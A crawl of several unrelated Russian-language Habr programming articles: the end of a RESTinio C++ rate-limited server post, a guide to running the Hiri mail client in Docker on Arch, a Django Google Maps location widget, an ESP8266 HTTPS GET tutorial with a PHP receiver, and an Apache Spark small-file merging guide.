Тогда и появилась идея: а что, если скорость отдачи будет запрашиваться прямо в URL? Например, сделали запрос на `localhost:8080/` и получили ответ с заранее заданной скоростью. А если сделали запрос на `localhost:8080/128K`, то стали получать ответ со скоростью 128KiB/sec.
Потом мысль пошла еще дальше: в URL также можно задавать и количество отдельных частей в ответе. Т.е. запрос `localhost:8080/128K/3000` приведет к выдаче потока из 3000 частей со скоростью 128KiB/sec.
Нет проблем. В RESTinio есть возможность использовать [маршрутизатор запросов, сделанный под влиянием ExpressJS](http://test.stiffstream.com/en/docs/restinio/0.5/expressrouter.html). В итоге появилась вот такая функция описания обработчиков входящих HTTP-запросов:
```
auto make_router(asio_ns::io_context & ctx) {
auto router = std::make_unique();
router->http\_get("/", [&ctx](auto req, auto) {
request\_processor(ctx, 100u\*1024u, 10000u, std::move(req));
return restinio::request\_accepted();
});
router->http\_get(
R"(/:value(\d+):multiplier([MmKkBb]?))",
[&ctx](auto req, auto params) {
const auto chunk\_size = extract\_chunk\_size(params);
if(0u != chunk\_size) {
request\_processor(ctx, chunk\_size, 10000u, std::move(req));
return restinio::request\_accepted();
}
else
return restinio::request\_rejected();
});
router->http\_get(
R"(/:value(\d+):multiplier([MmKkBb]?)/:count(\d+))",
[&ctx](auto req, auto params) {
const auto chunk\_size = extract\_chunk\_size(params);
const auto count = restinio::cast\_to(params["count"]);
if(0u != chunk\_size && 0u != count) {
request\_processor(ctx, chunk\_size, count, std::move(req));
return restinio::request\_accepted();
}
else
return restinio::request\_rejected();
});
return router;
}
```
Здесь формируются обработчики HTTP GET запросов для URL трех типов:
* вида `http://localhost/`;
* вида `http://localhost/[]/`;
* вида `http://localhost/[]//`
Где `speed` — это число, определяющее скорость, а `U` — это опциональный мультипликатор, который указывает, в каких единицах задана скорость. Так `128` или `128b` означает скорость в 128 байт в секунду. А `128k` — 128 килобайт в секунду.
На каждый URL вешается своя лямбда функция, которая разбирается с полученными параметрами, если все нормально, вызывает уже показанную выше функцию `request_processor`.
Вспомогательная функция `extract_chunk_size` выглядит следующим образом:
```
std::size_t extract_chunk_size(const restinio::router::route_params_t & params) {
const auto multiplier = [](const auto sv) noexcept -> std::size_t {
if(sv.empty() || "B" == sv || "b" == sv) return 1u;
else if("K" == sv || "k" == sv) return 1024u;
else return 1024u*1024u;
};
return restinio::cast_to(params["value"]) \*
multiplier(params["multiplier"]);
}
```
Здесь C++ная лямбда используется для эмуляции локальных функций из других языков программирования.
Функция main
------------
Осталось посмотреть, как все это запускается в функции main:
```
using router_t = restinio::router::express_router_t<>;
...
int main() {
struct traits_t : public restinio::default_single_thread_traits_t {
using logger_t = restinio::single_threaded_ostream_logger_t;
using request_handler_t = router_t;
};
asio_ns::io_context io_ctx;
restinio::run(
io_ctx,
restinio::on_this_thread()
.port(8080)
.address("localhost")
.write\_http\_response\_timelimit(60s)
.request\_handler(make\_router(io\_ctx)));
return 0;
}
```
Что здесь происходит:
1. Поскольку мне нужен не обычный штатный роутер запросов (который вообще ничего делать сам не может и перекладывает всю работу на плечи программиста), то я определяю новые свойства для своего HTTP-сервера. Для этого беру штатные свойства однопоточного HTTP-сервера (тип `restinio::default_single_thread_traits_t`) и указываю, что в качестве обработчика запросов будет использоваться экземпляр express-like роутера. Заодно, чтобы контролировать, что происходит внутри, указываю, чтобы HTTP-сервер использовал настоящий логгер (по умолчанию используется `null_logger_t` который вообще ничего не логирует).
2. Поскольку мне нужно взводить таймеры внутри after-write нотификаторов, то мне нужен экземпляр io\_context, с которым я смог бы работать. Поэтому я его создаю сам. Это дает мне возможность передать ссылку на мой io\_context в функцию `make_router`.
3. Остается только запустить HTTP-сервер в однопоточном варианте на ранее созданном мной io\_context-е. Функция `restinio::run` вернет управление только когда HTTP-сервер завершит свою работу.
Заключение
==========
В статье не был показан полный код моего тестового сервера, только его основные моменты. Полный код, которого чуть-чуть больше из-за дополнительных typedef-ов и вспомогательных функций, несколько подлиннее. Увидеть его можно [здесь](https://github.com/Stiffstream/restinio-long-output-sample/blob/201909101500/dev/long_output/main.cpp). На момент написания статьи это 185 строк, включая пустые строки и комментарии. Ну и написаны эти 185 строк за пару-тройку подходов суммарной длительностью вряд ли более часа.
Мне такой результат понравился и задача оказалась интересной. В практическом плане быстро был получен нужный мне вспомогательный инструмент. И в плане дальнейшего развития RESTinio появились кое-какие мысли.
В общем, если кто-то еще не пробовал RESTinio, то я приглашаю попробовать. Сам проект живет на [GitHub](https://github.com/Stiffstream/restinio). Задать вопрос или высказать свои предложения можно в [Google-группе](https://groups.google.com/forum/#!forum/restinio) или прямо здесь, в комментариях. | https://habr.com/ru/post/462349/ | null | ru | null |
# Запуск Hiri в Arch Linux через Docker
Что делать, если у вас не совсем такой Linux, как у создателя нужной вам софтины, а использовать виртуалку слишком накладно? Использовать Docker! А если это графическое приложение? Ответ такой же — использовать Docker!
В виду того, что на новой работе для обмена почтой используется Microsoft Exchange, я настроил в своём Arch почтовик Evolution. Функционально вроде бы всё есть, но до MS Outlook немного не дотягивает.
Решил поискать, какие ещё программы могут работать с MS Exchange из Linux и наткнулся на неизвестную мне ранее Hiri. Судя по скриншотам, может быть чем-то интересным, но под Arch программа не запустилась. Запуск Hiri с env LIBGL\_DEBUG=verbose показал, что ей чем-то не нравятся мои версии библиотек Arch.
Так как мне надо было всего лишь «на посмотреть» и как раз недавно ковырял Docker, решил немного попытать Docker на тему запуска GUI приложений. В итоге, можно считать, у меня всё получилось, хотя есть ещё косяк — Hiri не отображает картинки в письмах. Думаю, не хватает какой-то QT-либы в контейнере.
И так, для начала необходимо создать файл Dockerfile в котором пропишем:
```
FROM debian
RUN apt-get update && apt-get install -y sudo wget libxcursor1 libxss1 libasound2 libxcomposite1 libxtst6 libxaw7 libxft2 \
libxcb-keysyms1 \
libxcb-image0 \
libxcb-shm0 \
libxcb-icccm4 \
libxcb-sync1 \
libxcb-xfixes0 \
libxcb-shape0 \
libxcb-randr0 \
libxcb-render-util0 \
libfontconfig1 \
libfreetype6 \
libx11-6 \
libxext6 \
libxfixes3 \
libxi6 \
libxrender1 \
libxcb1 \
libx11-xcb1 \
libxcb-glx0 \
xauth \
libglu1-mesa \
libxkbcommon0 \
libxcb-xkb1 \
libxslt1.1 \
libgstreamer-plugins-base0.10
# Set timezone
RUN echo "Asia/Novosibirsk" > /etc/timezone
# Replace 1000 with your user / group id
RUN export uid=1000 gid=1000 && \
mkdir -p /home/user && \
echo "user:x:${uid}:${gid}:User,,,:/home/user:/bin/bash" >> /etc/passwd && \
echo "user:x:${uid}:" >> /etc/group && \
echo "user ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/user && \
chmod 0440 /etc/sudoers.d/user && \
chown ${uid}:${gid} -R /home/user
# Install Hiri
RUN wget https://feedback.hiri.com/downloads/Hiri.tar.gz -O /tmp/Hiri.tar.gz --progress=dot:giga && \
cd /opt/ && \
tar oxf /tmp/Hiri.tar.gz && \
rm -f /tmp/Hiri.tar.gz && \
chmod -R go-w hiri
USER user
ENV HOME /home/user
WORKDIR /home/user
CMD /opt/hiri/hiri.sh
```
Необходимо заменить таймзону Asia/Novosibirsk на подходящую. Если этого не сделать, календарь будет показывать время неправильно, несмотря на установку таймзоны в профиле.
Теперь в каталоге с Dockerfile выполняем команду
```
docker build -t hiri .
```
Это создаст образ с именем hiri. Теперь создадим из этого образа рабочий контейнер с именем hiri:
```
docker run -ti -e DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix --name=hiri hiri
```
Контейнер будет создан и сразу запустится Hiri. По выходу из Hiri произвести запуск контейнера можно командой
```
docker start hiri
```
**Внимание!** Для повторного запуска не нужно опять запускать docker run! В этом случае вы получите исходную конфигурацию без персональных настроек.
Чтобы не проделывать самостоятельно работу по созданию контейнера можно сразу скачать и запустить его с docker-hub:
```
docker run -e DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix --name=hiri ktak007/hiri
```
В целом Hiri показалась симпатичной программой, но для начала использования мне не хватило возможности подключить календари Гугл. | https://habr.com/ru/post/402781/ | null | ru | null |
# Django Gmap v3 Widget — геолокация с поиском, сохранение координат и адреса в JSONField
Привет. Была поставлена задача реализовать геолокацию (google maps v3) для пользователей в одном из проектов на django, хочу поделиться своим решением.
##### Необходимый функционал:
1. Вывод карты с маркером текущего положения, возможность перемещать маркер (dragged), ставить по click событию
2. Поиск по адресу (autocomplete)
3. Сохранение как координат, так и самого адреса (если он имеет место быть)
Как обычно разработка началась с поиска аналогичных решений, и за основу был взят пример дающий часть функционала, а именно 1 пункт. [Ссылка на snippet](http://djangosnippets.org/snippets/2106/). В нем был ряд недостатоков. Для добавления кастомных пользовательских полей в проекте я использовал стандартный модуль AUTH\_PROFILE\_MODULE. Соответственно в админке для редактирования профиля пользователя добавлял поля inline блоками (admin.StackedInline). При генерации разметки для этих inline блоков django использует в id для input'ов знаки "-". для добавления префиксов каждому блоку. Javascript, как известно, не любит в именах функций использование "-", поэтому первым делом все знаки "-" для имен функций преобразуем в "\_".
```
functionName=name.replace('-', '_')
```
Также сохранение координат было в виде строки «x,y» с последующим split'ом для вывода. Это вызвало бы конфликт при добавлении в поле еще и адреса в котором могли встречаться эти самые запятые. В качестве решения был использован еще один snippet дающий возможность использовать TextField для хранения JSON объектов. [Ссылка на snippet](http://djangosnippets.org/snippets/1478/). Таким образом было реализовано сохранение координат и адреса в виде JSON объекта:
```
value = {'lat': lat, 'lng': lng, 'address': address}
```
Обработка при рендеринге на сервере:
```
if value is None:
lat, lng, address = DEFAULT_LAT, DEFAULT_LNG, DEFAULT_ADDRESS
value = {'lat': lat, 'lng': lng, 'address': address}
else:
lat, lng, address = float(value['lat']), float(value['lng']), value['address']
curLocation = json.dumps(value, cls=DjangoJSONEncoder)
```
Обработка на стороне клиента:
```
function savePosition_%(functionName)s(point, address)
{
var input = document.getElementById("id_%(name)s");
var location = {'lat': point.lat().toFixed(6), 'lng': point.lng().toFixed(6)};
location.address = '%(defAddress)s';
if (address) {
location.address = address;
}
input.value = JSON.stringify(location);
map_%(functionName)s.panTo(point);
}
```
Добавлено поле для вывода текущей геолокации:
```
html += '
%s: %s' % (u'Текущий адрес', address)
```
Для реализации 2 пункта был использован google.maps.Geocoder и jQuery autocomplete:
```
google.maps.event.addListener(marker, 'dragend', function(mouseEvent) {
geocoder.geocode({'latLng': mouseEvent.latLng}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK && results[0]) {
$('#address_%(name)s').val(results[0].formatted_address);
savePosition_%(functionName)s(mouseEvent.latLng, results[0].formatted_address);
}
else {
savePosition_%(functionName)s(mouseEvent.latLng);
}
});
});
google.maps.event.addListener(map_%(functionName)s, 'click', function(mouseEvent){
marker.setPosition(mouseEvent.latLng);
geocoder.geocode({'latLng': mouseEvent.latLng}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK && results[0]) {
$('#address_%(name)s').val(results[0].formatted_address);
savePosition_%(functionName)s(mouseEvent.latLng, results[0].formatted_address);
}
else {
savePosition_%(functionName)s(mouseEvent.latLng);
}
});
});
$('#address_%(name)s').autocomplete({
source: function(request, response) {
geocoder.geocode({'address': request.term}, function(results, status) {
response($.map(results, function(item) {
return {
value: item.formatted_address,
location: item.geometry.location
}
}));
})
},
select: function(event, ui) {
marker.setPosition(ui.item.location);
savePosition_%(functionName)s(ui.item.location, ui.item.value);
}
});
```
Добавлено поле для поиска по адресу:
```
html += '%s: ' % (u'Поиск по адресу', name)
```
##### Собрав все воедино получился следующий финальный snippet:
```
from django.conf import settings
from main.JSONField import JSONField
from django.core.serializers.json import DjangoJSONEncoder
from django.utils import simplejson as json
DEFAULT_WIDTH = 300
DEFAULT_HEIGHT = 300
DEFAULT_LAT = 55.75
DEFAULT_LNG = 37.62
DEFAULT_ADDRESS = u'(Не задано)'
class LocationWidget(forms.TextInput):
def __init__(self, *args, **kw):
self.map_width = kw.get("map_width", DEFAULT_WIDTH)
self.map_height = kw.get("map_height", DEFAULT_HEIGHT)
super(LocationWidget, self).__init__(*args, **kw)
self.inner_widget = forms.widgets.HiddenInput()
def render(self, name, value, *args, **kwargs):
if value is None:
lat, lng, address = DEFAULT_LAT, DEFAULT_LNG, DEFAULT_ADDRESS
value = {'lat': lat, 'lng': lng, 'address': address}
else:
lat, lng, address = float(value['lat']), float(value['lng']), value['address']
curLocation = json.dumps(value, cls=DjangoJSONEncoder)
js = '''
//<![CDATA[
var map\_%(functionName)s;
function savePosition\_%(functionName)s(point, address)
{
var input = document.getElementById("id\_%(name)s");
var location = {'lat': point.lat().toFixed(6), 'lng': point.lng().toFixed(6)};
location.address = '%(defAddress)s';
if (address) {
location.address = address;
}
input.value = JSON.stringify(location);
map\_%(functionName)s.panTo(point);
}
function load\_%(functionName)s() {
var point = new google.maps.LatLng(%(lat)f, %(lng)f);
var options = {
zoom: 13,
center: point,
mapTypeId: google.maps.MapTypeId.ROADMAP
};
map\_%(functionName)s = new google.maps.Map(document.getElementById("map\_%(name)s"), options);
geocoder = new google.maps.Geocoder();
var marker = new google.maps.Marker({
map: map\_%(functionName)s,
position: point,
draggable: true
});
google.maps.event.addListener(marker, 'dragend', function(mouseEvent) {
geocoder.geocode({'latLng': mouseEvent.latLng}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK && results[0]) {
$('#address\_%(name)s').val(results[0].formatted\_address);
savePosition\_%(functionName)s(mouseEvent.latLng, results[0].formatted\_address);
}
else {
savePosition\_%(functionName)s(mouseEvent.latLng);
}
});
});
google.maps.event.addListener(map\_%(functionName)s, 'click', function(mouseEvent){
marker.setPosition(mouseEvent.latLng);
geocoder.geocode({'latLng': mouseEvent.latLng}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK && results[0]) {
$('#address\_%(name)s').val(results[0].formatted\_address);
savePosition\_%(functionName)s(mouseEvent.latLng, results[0].formatted\_address);
}
else {
savePosition\_%(functionName)s(mouseEvent.latLng);
}
});
});
$('#address\_%(name)s').autocomplete({
source: function(request, response) {
geocoder.geocode({'address': request.term}, function(results, status) {
response($.map(results, function(item) {
return {
value: item.formatted\_address,
location: item.geometry.location
}
}));
})
},
select: function(event, ui) {
marker.setPosition(ui.item.location);
savePosition\_%(functionName)s(ui.item.location, ui.item.value);
}
});
}
$(document).ready(function(){
load\_%(functionName)s();
});
//]]>
''' % dict(functionName=name.replace('-', '_'), name=name, lat=lat, lng=lng, defAddress=DEFAULT_ADDRESS)
html = self.inner_widget.render("%s" % name, "%s" % curLocation, dict(id='id_%s' % name))
html += '' % (name, self.map_width, self.map_height)
html += '%s: ' % (u'Поиск по адресу', name)
html += '
%s: %s' % (u'Текущий адрес', address)
return mark_safe(js + html)
class Media:
css = {'all': (
'http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.18/themes/redmond/jquery-ui.css',
settings.MEDIA_URL+'css/main.css',
)}
js = (
'http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js',
'http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.18/jquery-ui.min.js',
'http://maps.google.com/maps/api/js?sensor=false',
)
class LocationField(JSONField):
def formfield(self, **kwargs):
defaults = {'widget': LocationWidget}
return super(LocationField, self).formfield(**defaults)
```
##### P.S.
В main.css лежит:
```
.ui-autocomplete li {
list-style-type: none;
}
```
Вот так это выглядит в админке:
Всем спасибо! | https://habr.com/ru/post/141444/ | null | ru | null |
# ESP 8266: отправка данных на сайт методом Get запроса
Привет! Это мой первый пост здесь! Решил его написать, чтобы облегчить путь всем начинающим знакомство с ESP 8266.
Итак, у нас есть ESP-01.
И USB-UART преобразователь.
Лично у меня такой, но это не суть.
Можно взять и другие модули изменится лишь схема подключения.
Соединяем для прошивки:
Сразу нужно сказать о подводных камнях.
Во первых подтянуть ноги GPIO0 и EXT\_RSBT к питанию резистором на 10кОм.
Во вторых, для общения с модулем необходимо отключать линии RTS и DTR.
В третьих, напряжение питания модуля ESP-01 – 3,3В. Поэтому для питания необходим источник 3,3В.
Изначально я хотел использовать 3,3В с USB-UART преобразователя, но как оказалось он не может выдать ток 220мА необходимый для работы ESP-01.
Поэтому пришлось использовать стабилизатор на lm1117-3,3. Итак, для работы с ESP-01 можно использовать программу ESPlorer на языке Lua или Arduino.
Пока я пойду по пути наименьшего сопротивления – выбираю Arduino IDE.
Чтобы работать с платами esp8266 необходимо их установить.
Как это сделать расписано на многих ресурсах поэтому на этом останавливаться не буду.
Итак, открываем <Инструменты> и выбираем Generic ESP8266 Module.
Далее вставляем скетч.
```
#include
#include
#include
#include
boolean recievedFlag;
String strData, Link;
//Вводим параметры своей точки доступа WIFI
const char \*ssid = "\*\*\*\*\*\*\*\*\*\*\*\*\*\*"; //Название точки доступа
const char \*password = "\*\*\*\*\*\*\*\*\*\*\*\*\*"; //Пароль точки доступа
const char \*host = "\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*"; //Адрес нашего веб сервера
const int httpsPort = 443; //Адрес порта для HTTPS= 443 или HTTP = 80
const char fingerprint[] PROGMEM = "5B:FB:D1:D4:49:D3:0F:A9:C6:40:03:34:BA:E0:24:05:AA:D2:E2:01"; //ключ для шифрования
// Обьявление функции подключения к точкt доступа WIFI
void setup() {
delay(1000); //Ждем
Serial.begin(9600); //Настройка скорости UART
WiFi.mode(WIFI\_OFF); //Перезапуск точки доступа
delay(1000); //Ждем
WiFi.mode(WIFI\_STA); //Настраиваем ESP в режиме клиента
WiFi.begin(ssid, password); //Подключаемся к точке доступа
Serial.println("");
Serial.print("Connecting"); //Пишем в UART что соединяемся
// Ждем соединения
while (WiFi.status() != WL\_CONNECTED) {delay(500);
Serial.print(".");} //Пока пытаемся соединиться отправляем в UART точки
Serial.println(""); //Если удачно подключились
Serial.print("Connected to "); //Пишем в UART:
Serial.println(ssid); //Название точки доступа
Serial.print("IP address: ");
Serial.println(WiFi.localIP()); //IP адрес назначенный нашему ESP
}
// Обьявление функции передачи данных
void transmit() {
WiFiClientSecure httpsClient; //Обьявляем обьект класса WiFiClient
Serial.println(host); //Пишем в UART: адрес нашего веб сервера,
Serial.printf("Using fingerprint '%s'\n", fingerprint); //Ключ для шифрования.
httpsClient.setFingerprint(fingerprint); //Присваиваем значения ключа для шифрования
httpsClient.setTimeout(15000); //Присваиваем значение паузы (15 секунд)
delay(1000); //Ждем
Serial.print("HTTPS Connecting"); //Пишем в UART: Соединяемся с нашим веб сервером
int r=0; //Обьявляем переменную счетчика попыток подключения
while((!httpsClient.connect(host, httpsPort)) && (r < 30))
{delay(100);Serial.print(".");r++;} //Пока пытаемся соединиться с веб сервером отправляем в UART точки
if(r==30) {Serial.println("Connection failed");} //Если не получилось соединиться пишем в UART, что не получилось
else {Serial.println("Connected to web");} //Если получилось соединиться пишем в UART, что получилось
Link = "/get.php?" + strData; //Формируем строку для GET запроса
Serial.print("requesting URL: "); //Пишем в UART что отправляем GET запрос
Serial.println(host+Link); //Пишем в UART GET запрос
httpsClient.print(String("GET ") + Link + " HTTP/1.1\r\n" +
"Host: " + host + "\r\n" +
"Connection: close\r\n\r\n"); //Отправляем GET запрос через ESP
Serial.println("request sent"); //Пишем в UART что GET запрос отправлен
while (httpsClient.connected()) //Ловим ответ веб сервера
{String line = httpsClient.readStringUntil('\n');
if (line == "\r") {Serial.println("headers received");break;}}
Serial.println("reply was:"); //Пишем в UART что веб сервер ответил
Serial.println("=========="); //Для красоты выводим в UART разграничивающую линию
String line; //Формируем строку для ответа веб сервера
while(httpsClient.available()){ //Ловим строку от веб сервера
line = httpsClient.readStringUntil('\n');
Serial.println(line);} //Пишем в UART строку от веб сервера
Serial.println("=========="); //Для красоты выводим в UART разграничивающую линию
Serial.println("closing connection");} //Пишем в UART, что закрыли соединение с веб сервером
//Основная функция
void loop() {
while (Serial.available() > 0) // Прием данных из UART для передачи на веб сервер
{ strData +=(char)Serial.read(); // Забиваем строку принятыми данными
recievedFlag = true; delay(2); }; // Поднимаем флаг что получили данные
if (recievedFlag) // Если данные получены
{ Serial.println(strData); // Пишем в UART строку для передачи на веб сервер
transmit(); // Запускаем функцию передачи данных
strData =""; // Очищаем строку от принятых данных
recievedFlag = false;} // Опускаем флаг
}
```
Закомментировал каждую строчку. Поэтому думаю что особых вопросов возникнуть не должно.
Если кратко: Подключаемся к точке доступа Wi-Fi / Подключаемся к серверу / Отправляем данные принятые из UART.
Особо хотел остановиться на строчке:
`const char fingerprint[] PROGMEM = "5B:FB:D1:D4:49:D3:0F:A9:C6:40:03:34:BA:E0:24:05:AA:D2:E2:01"; //`ключ для шифрования.
Т.к. мы используем защищенный протокол HTTPS для общения с вашим сайтом необходимо использовать «ключ для шифрования».
Чтобы его получить переходим на сайт: https://www.grc.com/fingerprints.htm
Вставляем в поле название своего хоста и жмем кнопку “Fingerprint Site”.
Вставляем полученный ключ в скетч, компилируем и загружаем.
Открываем монитор порта и видим:
Ура! Наш Esp подключился к точке доступа.
Теперь пишем в верхней строке «id=123456789» и жмем кнопку «Отправить». Обратите внимание чтобы внизу были выставлены такие же настройки «Нет конца строки» и «9600 бод» .
Но для того чтобы сайт принял запрос, сайт нужно сначала создать.
Итак для начала я нашел бесплатный хостинг «https://www.000webhost.com».
Это не реклама. Просто не все бесплатные хосты пропускают Get запросы (Пару раз обжегся).
Итак после регистрации получаем свой сайт.
Нажимаем кнопку «Управлять сайтом» и…
… переходим в панель управления.
Заходим в «Менеджер файлов».
Здесь переходим в папку «public\_html».
Щелкаем по кнопке «New File» и создаем два файла.
Файл test.txt оставляем без изменений (сюда будут приходить наши передаваемые данные).
Открываем файл «get.php» и вставляем туда следующий код:
```
php
$var1= $_GET['id'];
$fileContent = "Registrated id= ".$var1."\n";
$fileStatus = file_put_contents('test.txt',$fileContent,FILE_APPEND);
if($fileStatus != false)
{
echo "SUCCESS: data written to file";
}
else
{
echo "FAIL: could not write to file";
}
?
```
Закрываем и сохраняем.
Теперь пробуем отправку.
Если всё правильно настроено то мы должны получить ответ: «SUCCESS: data written to file».
Теперь можете открывать файл test.txt….
и радоваться успешной передаче данных.
Также просмотреть файл test.txt можно из браузера. Набираем в адресной строке «Название сайта/test.txt».
Вот как-то так.
Данный проект является основой. К нему можно прикрутить всевозможные датчики, платы, модули. На стороне веб сервера подключить таблицы, базы данных и т.д.
На этом пока все. Прошу сильно не пинать т.к. - мой первый пост. Удачи! | https://habr.com/ru/post/543532/ | null | ru | null |
# Как в Datalake объединить слишком большое количество небольших файлов в несколько больших с помощью Apache Spark
Повышаем производительность ваших запросов чтения на больших датасетах
----------------------------------------------------------------------
Один из современных способов хранения большущего объема данных для платформ обработки и анализа данных - это распределение каждого датасета между несколькими узлами в кластере. Если мы используем облако, то весь датасет разделяется на множество объектов. Это может привести к появлению “слишком большого количества небольших файлов” что является хорошо известной проблемой в области Big Data. Формирование небольших файлов происходит по нескольким причинам, например, при сохранении входящих потоковых данных, сообщение за сообщением, при партиционировании по ключу с перекосом данных и т.д. Драйвер должен следить за изменениями метаданных всех файлов, чтобы планировать распределенную обработку данных при сохранении или чтении данных датасета используя Namenode, MapReduce или задачи Spark. Когда файлов слишком много, для хранения их метаданных требуется дополнительная память, а при их перечислении этих данных требуется гораздо больше времени на сетевое взаимодействие.
Во время работы в Datalake вы могли заметить, что при выполнении задачи Spark затрачивается слишком много времени на чтение датасета из s3/HDFS, где нужно подождать, даже чтобы увидеть запущенные экзекьюторы. Или вы могли заметить, что вашему Hive запросу может понадобиться несколько минут, чтобы инициировать задачи. Скорее всего, причина в том, что изначально драйвер большую часть времени тратит на просмотр всех метаданных файлов/объектов датасета в s3, особенно когда небольших файлов слишком много. Это связано с тем, что именно драйвер выполняет перечисление файлов в датасете, оценивает размер/партиции, а затем распределяет работу между экзекьюторами. Таким образом, слишком большое количество небольших файлов может привести к снижению производительности, а в худшем случае драйвер может поймать исключение из-за нехватки памяти.
Рассмотрим простую задачу Spark, которая может принимать датасет и предполагаемый размер отдельного выходного файла и объединять входной датасет в файлы большего размера, что в конечном итоге сокращает количество файлов. Не рекомендуется также использовать файлы очень большого размера. Нормой являются файлы размером 1 ГБ или 512 МБ.
[*Полный скрипт доступен здесь*](https://github.com/justhackit/spark-utils/blob/main/src/main/scala/com/sparkutils/io/FileMerger.scala). А сейчас давайте вместе пройдемся по нему….
...
### Драйвер:
```
val (inputBucket, prefix) = getBucketNameAndPrefix(args(1))
val targetDirectory = args(2)
val maxIndividualMergedFileSize = args(3).toLong
val inputDirs = listDirectoriesInS3(inputBucket, prefix).map(prefix => "s3://" + inputBucket + "/" + prefix)
logger.info(s"Total directories found : ${inputDirs.size}")
val startedAt = System.currentTimeMillis()
//You may want to tweak the following to set how many input directories to process in parallel
val forkJoinPool = new ForkJoinPool(inputDirs.size)
val parallelBatches = inputDirs.par
parallelBatches.tasksupport = new ForkJoinTaskSupport(forkJoinPool)
parallelBatches.foreach(dir => {
val (srcBkt, prefix) = getBucketNameAndPrefix(dir)
logger.info(s"Working on ::=> SourceBkt : $srcBkt,Prefix:$prefix")
//Step 1 : Get file sizes
val fileSizesMap = getFileSizes(inputBucket, prefix)
//Step 2 : Group them based on target file size
val grouped = makeMergeBatches(fileSizesMap, maxIndividualMergedFileSize)
val sizedStripped = stripSizesFromFileNames(grouped)
val finalSourceFileNames = addS3BucketNameToFileNames(sizedStripped, bucketName = inputBucket)
//Step 3 : Merge files and write them out
mergeFiles(spark, finalSourceFileNames, targetDirectory)
})
```
Это главный метод, который принимает три параметра: 1) Исходный путь s3, где находятся небольшие файлы 2) Целевой путь s3, в который задача записывает объединенные файлы и 3) Максимальный целевой размер одного объединенного файла.
Этот скрипт предполагает, что входной каталог (строка #5) содержит подкаталоги, в которых фактически находятся конечные файлы. Как правило, это свойственно партиционным датасетам. Однако, если у нас есть только один каталог, в котором содержатся все файлы, вы можете поправить строку #5, чтобы передавать в список всего один элемент.
Также стоит взглянуть на строки #9 - #11, в которых используются параллельные коллекции Scala для параллельного сабмита нескольких задач spark. Да, вы не ошиблись. Мы можем запускать параллельные экшены Spark по сабмиту из каждого потока. Как видите, вся многопоточность абстрагируется за счет использования параллельных коллекций. Строка #9 задает степень параллелизма, то есть сколько каталогов обрабатывается параллельно. Здесь я просто установил его равным количеству подкаталогов. Если их больше сотни, я бы посоветовал запускать их батчами, поскольку можно перегрузить кластер (конечно, это зависит от размера вашего кластера).
Начиная со строки #12, работа начинается с обхода каждого входного каталога и их параллельной обработки. Весь процесс для каждого каталога можно разбить на три этапа:
### Шаг 1: Определите размеры файлов
```
def getFileSizes(bucketName: String, prefix: String): scala.collection.immutable.Map[String, Long] = {
val s3 = AmazonS3ClientBuilder.standard().withRegion(Regions.US_EAST_1).build()
val listing = s3.listObjectsV2(bucketName, prefix)
val files = listing.getObjectSummaries.asScala.map(_.getKey).filter(!_.split("/").last.startsWith("_"))
val filesSizeMap = collection.mutable.Map[String, Long]()
files.foreach(obj => {
val meta = s3.getObjectMetadata(new GetObjectMetadataRequest(bucketName, obj))
filesSizeMap += (obj -> meta.getContentLength)
})
filesSizeMap.toMap
}
```
Это просто. Я просто перечисляю файлы, присутствующие в каталоге, используя библиотеку “com.amazonaws:aws-java-sdk”. При составлении списка я также определяю размер каждого объекта, и затем возвращаю вызывающей стороне Map .
### Шаг 2: Определите группы файлов для объединения
```
def makeMergeBatches(fileSizesMap: scala.collection.immutable.Map[String, Long], maxTargetFileSize: Long): ListBuffer[ListBuffer[String]] = {
val sortedFileSizes = fileSizesMap.toSeq.sortBy(_._2)
val groupedFiles = ListBuffer[ListBuffer[String]]()
groupedFiles += ListBuffer[String]()
for (aFile <- smallerFiles) {
val lastBatch = groupedFiles.last
if ((sizeOfThisBatch(lastBatch) + aFile._2) < maxTargetFileSize) {
lastBatch += aFile._1 + "|" + aFile._2.toString
} else {
val newBatch = ListBuffer[String]()
newBatch += aFile._1 + "|" + aFile._2.toString
groupedFiles += newBatch
}
}
groupedFiles
}
```
На этом этапе мы определяем группу файлов небольшого размера, которые можно объединить. Как видите, метод принимает Map и размер целевого файла. После сортировки карты по размеру файлов она группирует несколько файлов в батч, так что общий размер батча меньше или равен целевому размеру файла. Конечно, результат кластеризации может быть неудачным, поскольку в итоге мы можем получить файлы, размер которых меньше целевого файла, но их невозможно объединить с другими такими файлами, поскольку общий размер батча может превышать целевой размер файла. К счастью, поскольку мы сортируем карту по размеру файлов в возрастающем порядке, файлы наименьшего размера будут сгруппированы вместе, и останутся только те файлы, которые по размеру близки к целевому размеру файла. Наконец, функция возвращает List [List [file]], который содержит список батчей файлов, которые должны быть объединены в один файл.
### Шаг 3. Объедините файлы и запишите их
```
def mergeFiles(spark: SparkSession, grouped: ListBuffer[ListBuffer[String]], targetDirectory: String): Unit = {
val startedAt = System.currentTimeMillis()
val forkJoinPool = new ForkJoinPool(grouped.size)
val parllelBatches = grouped.par
parllelBatches.tasksupport = new ForkJoinTaskSupport(forkJoinPool)
parllelBatches foreach (batch => {
logger.debug(s"Merging ${batch.size} files into one")
try {
spark.read.parquet(batch.toList: _*).coalesce(1).write.mode("append").parquet(targetDirectory.stripSuffix("/") + "/")
} catch {
case e: Exception => logger.error(s"Error while processing batch $batch : ${e.getMessage}")
}
})
logger.debug(s"Total Time taken to merge this directory: ${(System.currentTimeMillis() - startedAt) / (1000 * 60)} mins")
}
```
